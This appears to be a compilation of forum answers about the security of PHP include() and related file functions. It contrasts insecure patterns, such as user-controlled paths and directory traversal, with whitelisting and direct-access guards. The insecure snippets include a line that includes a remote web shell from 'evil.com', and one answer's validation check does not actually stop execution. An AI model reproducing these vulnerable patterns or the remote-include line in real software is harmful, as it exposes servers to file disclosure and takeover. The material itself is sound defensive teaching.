PHP - Is "Include" Function Secure

PHP - Is include function secure?

It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.

Insecure (Directory Traversal)

<?php 
include($_GET['file']);
?>

Insecure (URL fopen - If enabled)

<?php 
include('http://evil.com/c99shell.php');
?>

Insecure

<?php 
include('./some_dir/' . $_GET['file']);
?>

Partially Insecure ( *.php files are vulnerable )

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

Secure (Though not sure why anyone would do this.)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

Secure

<?php 
include('./includes/somefile.php');
?>

Is it safe to keep all of our php functions in 1 files and then include it in all the other files?

Big, long functions files were (and still are, to an extent) pretty common in PHP projects.

Security of all files should certainly be a consideration, but a single functions file is no different from any other, really. Best practice is to keep it outside of your web root so that if PHP fails (it happens), your file still won't be accessible. If the server gets hacked, the location and format of your files is unlikely to make any difference.

Modern frameworks typically include hundreds of different files on every page load. The extra time this takes is barely measurable and probably not worth thinking about.

For maintainability, it's rarely a good idea to have one massive file. You should look at separating these into utility classes and autoload them as needed.

Is it safe to use include for sensitive data in PHP?

I really hope there's absolutely no way to access the keys through a URL. You should put these outside your public web root.

If the keys are inside the web root, you will probably be exposed. A simple mistake could reveal your PHP source and then it's game over.

Is secure having MySQL in separate document? Because of include function

For your situation I can say to that it IS safe to use it that way (not my way, i like classes) and this is why:

When you start your web server there is php server started also (mod_php, php-fpm, php-cgi or other). This php server exclude from document, that will be shown to any other person that includes it thru web server.

This means that code

<!-- SOME CODE HERE -->
<?php require('mysql.php'); ?>
<!-- SOME CODE HERE ALSO -->

will be rewrited to

<!-- SOME CODE HERE -->

<!-- SOME CODE HERE ALSO -->

So anyone who includes this file will not see php code.

This means that it is safe to use it like this. But i recommend to secure direct access to such kind of files.

index.php

<?php

define ('MY_CUSTOM_CONSTANT', 42);

require('mysql.php');
// Other code

mysql.php

<?php
defined('MY_CUSTOM_CONSTANT') or die('You cannot access to this file directly');

In this case even if they include or just call this file from web - they will just get text message and code will not be executed in this case

A secure dynamic PHP includes?

To prevent errors and unauthorized file access (secure) to pages outside of your web directory or invalid pages you should do the following.

Validate $_GET['page'] by checking for periods. While periods may be valid in file names, it looks like you would be constructing the filename from the value and a period could indicate a breakout attempt to gain access to a root directory.

From there I would construct the filepath for the include, and then use file_exists to make sure it exists before including it.

As for the changing title for the page include I would do something like this:

<?php
$page_title = 'Default Title';
$page_to_include = 'default';

if( strpos($_GET['page'], '.') !== false ){
  //throw/display error - could be a breakout attempt
}
if( !file_exists(sprintf('page_includes/%s.php', $_GET['page'])) ){
  //requested page does not exists, throw or display error
}else{
  $page_to_include = sprintf('page_includes/%s.php', $_GET['page']);
}

//do page validation here with file_exists
ob_start();
include $page_to_include;
$included_page = ob_get_clean(); //gets contents and cleans the buffer and closes it

require_once 'includes/header.php';
echo $included_page;
require_once 'includes/footer.php';
?>

This way the page is included first and stored in a buffer rather that output. It allows you included page to modify $page_title, and then that modified $page_title is available to the header.php script for output within the tags.

php include() security flaw?

Ok, let's say you've got a file seekritpasswords.php that you include, and it contains your database credentials. You'd have a file that looks something like:

<?php

$db_user = 'fred';
$db_passwd = 'barney';
$db_name = 'wilma';
$db_host = 'betty';

The php "header" is the <?php portion. If that becomes corrupted, say by adding a space to it, or removing it entirely, etc... Then the file is no longer a php script, as it does not contain the header which triggers "php mode". it'll just be plain text, and gets treated as regular output like any other plain text file. Remember, there's no such thing as a PHP script. There's only files which contain one or more PHP blocks, and those blocks are delimited by <?php ?> tag sets.

Are fread(), file() and file_get_contents() functions secure to the server when third-party external references are given as filename?

Most (maybe all) PHP file-based operations are done through streams, and each stream wrapper (file, http, ftp, etc.) has their own code and logic, which means each could also have potential security vulnerabilities.

The default stream wrappers and their corresponding handlers can be found in the source, and there's a great deep dive for implementors here, too.

You can manually register your own stream wrappers, too. In fact, you can also unregister existing wrappers, possibly core ones (I haven't tried), so you or someone else could inject vulnerable code in theory, too.

To the best of my knowledge, there are no publicly announced unpatched vulnerabilities related to these wrappers in the currently maintained versions of PHP. That's not to say that in the past there weren't, nor is it to say I know of any undisclosed ones.

To your second question, no, when a web browser visits a PHP page that uses file_get_contents against an HTTP/HTTP stream, nothing from the browser's initial request (headers, etc.) will be added to the stream's request. That part is called the "stream context". The default values for an unspecified context can be manually inspected in the source for each wrapper. Look for code like context && (tmpzval = php_stream_context_get_option and then find the corresponding else.

---

Related Topics